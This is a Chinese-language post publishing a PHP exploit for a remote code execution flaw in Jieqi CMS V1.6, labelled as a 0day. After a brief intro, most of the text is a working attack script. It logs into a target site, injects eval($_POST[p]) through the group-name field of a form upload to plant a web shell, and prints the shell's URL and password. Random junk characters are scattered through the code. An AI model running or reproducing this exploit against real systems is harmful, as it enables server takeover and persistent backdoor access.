Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
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+ p6 {* ^/ ^1 n7 s. t该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。
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8 e2 q2 p2 o! n2 r, W<?php

  ^( U0 X' `  s* G' oprint_r('
5 k. |1 U9 T# l" p3 ^) y2 H% M# n# A6 T+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
2 f" e4 K/ b2 Q6 ]9 b3 q8 H) `8 Oby flyh4t
8 L, ^! T4 v- Z3 Q/ H8 Lmail: phpsec at hotmail dot com
# h, f1 m" e  x& q. {team: http://www.wolvez.org
+---------------------------------------------------------------------------+
'); /**
! u! M2 d, a! C4 q7 w' _% e' z * works regardless of php.ini settings
2 u# O3 M$ Z. M' [*/ if ($argc < 5) { print_r('
1 L. q/ i3 v8 i! R$ `1 O$ @+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
path:      path to jieqicms
$ Q5 i. b' z* }; A( g2 ?+ }$ T$ cuasename:  a username who can create group
Example:
6 o5 E: o& V, A/ D: z4 B6 V  G8 Gphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
* P- |2 g: H' j  ?5 F4 B+ O' ~, K+ v'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
& q6 D0 I# H' z; k. [Content-Disposition: form-data; name="gname"

'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
0 V( @+ u* R5 T1 a; `1 ]-----------------------------23281168279961
: @7 T9 k9 e; `" {) s% qContent-Disposition: form-data; name="gcatid"
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6 B5 e5 ]# |  x9 s1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
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  J' n# N4 J% [: ]1
-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"

1
1 Y: t& R' q! ]. d-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
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preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;